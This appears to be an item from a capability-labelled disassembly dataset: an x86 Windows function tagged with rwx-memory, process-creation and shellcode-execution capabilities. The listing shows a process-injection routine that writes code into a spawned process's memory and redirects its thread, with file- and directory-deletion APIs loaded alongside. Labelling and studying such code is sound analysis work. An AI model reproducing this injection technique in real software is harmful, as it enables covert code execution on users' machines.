Function at 0x4065eb
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Resume thread

Disassembly:
mov eax, 0x444fff
call fcn.004312c8
mov eax, 0x11c8
call fcn.00431990
push ebx
push esi
xor ebx, ebx
push edi
lea eax, [ebp - 0xd]
mov edi, 0x449504
mov esi, 0x4494fc
push ebx
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x30], esi
call fcn.004026fa
lea eax, [ebp - 0x5c]
push 0x104
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], ebx
call fcn.004020e2
mov ecx, dword [eax]
mov byte [ebp - 4], 1
mov byte [eax + 4], 1
call fcn.0040276f
mov eax, dword [eax]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], bl
call fcn.004021f4
push ebx
lea eax, [ebp - 0x84]
push ebx
push eax
lea ecx, [ebp - 0x50]
call fcn.0040293e
sub esp, 0x28
lea eax, [ebp - 0x50]
mov dword [ebp - 0x24], esp
mov ecx, esp
push ebx
push eax
mov byte [ebp - 4], 2
mov dword [ecx], edi
mov dword [ecx + 0x20], esi
call fcn.0040387f
call fcn.0043bd51
add esp, 0x28
cmp al, bl
jne 0x4066c9
cmp byte [ebp + 8], bl
je 0x4068b4
sub esp, 0x28
lea eax, [ebp - 0x84]
mov dword [ebp - 0x24], esp
mov ecx, esp
push ebx
push eax
mov dword [ecx], edi
mov dword [ecx + 0x20], esi
call fcn.0040387f
call fcn.0043bd51
add esp, 0x28
cmp al, bl
je 0x4068b4
push 6
mov esi, 0x4561d4
pop ecx
lea edi, [ebp - 0x59c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x7b
xor eax, eax
pop ecx
lea edi, [ebp - 0x582]
rep stosd dword es:[edi], eax
push 0x44
pop edx
stosw word es:[edi], ax
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0xc4]
mov dword [ebp - 0xc8], edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xc8]
push eax
push ebx
push ebx
push edx
push ebx
push ebx
lea eax, [ebp - 0x59c]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x40672b
mov byte [ebp + 0xb], bl
jmp 0x4068b8
mov ecx, 0x30c
xor eax, eax
lea edi, [ebp - 0x11d0]
mov dword [ebp - 0x11d4], ebx
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, 0x44952c
mov dword [ebp - 0x9cc], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x9c8], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x9c4], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp - 0x9c0], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x9bc], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x9b8], eax
mov al, byte [ebp + 8]
mov byte [ebp - 0x9b0], al
mov eax, dword [ebp - 0x48]
cmp eax, ebx
jne 0x40679a
mov eax, edi
mov esi, 0x104
push esi
push eax
lea eax, [ebp - 0x9af]
push eax
call fcn.004320c5
add esp, 0xc
cmp byte [ebp + 8], bl
je 0x4067ce
cmp dword [ebp - 0x7c], ebx
je 0x4067bd
mov edi, dword [ebp - 0x7c]
push esi
lea eax, [ebp - 0x7a7]
push edi
push eax
call fcn.004320c5
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push ebx
push ebx
lea eax, [ebp - 0x9d0]
push ebx
push eax
push dword [ebp - 0x20]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, 0x40697d
mov eax, 0x4068e4
sub ecx, eax
cmp ecx, 0x800
ja 0x406723
push ecx
push eax
lea eax, [ebp - 0x11d0]
push eax
call fcn.00431d90
add esp, 0xc
lea eax, [ebp - 0x394]
mov dword [ebp - 0x394], 0x10003
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x2d0]
mov edi, 0xc35
lea esi, [eax - 0xc35]
and esi, 0xffffffe0
mov dword [ebp - 0x11d4], esi
lea eax, [esi - 4]
mov dword [ebp - 0x2d0], eax
lea eax, [esi + 4]
mov dword [ebp - 0x2dc], eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push edi
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ebx
lea eax, [ebp - 0x11d4]
push edi
push eax
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push edi
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x394]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x20]
call esi
mov byte [ebp + 0xb], 1
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], bl
call fcn.00401cce
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x50]
call fcn.00401cce
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp + 0xb]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret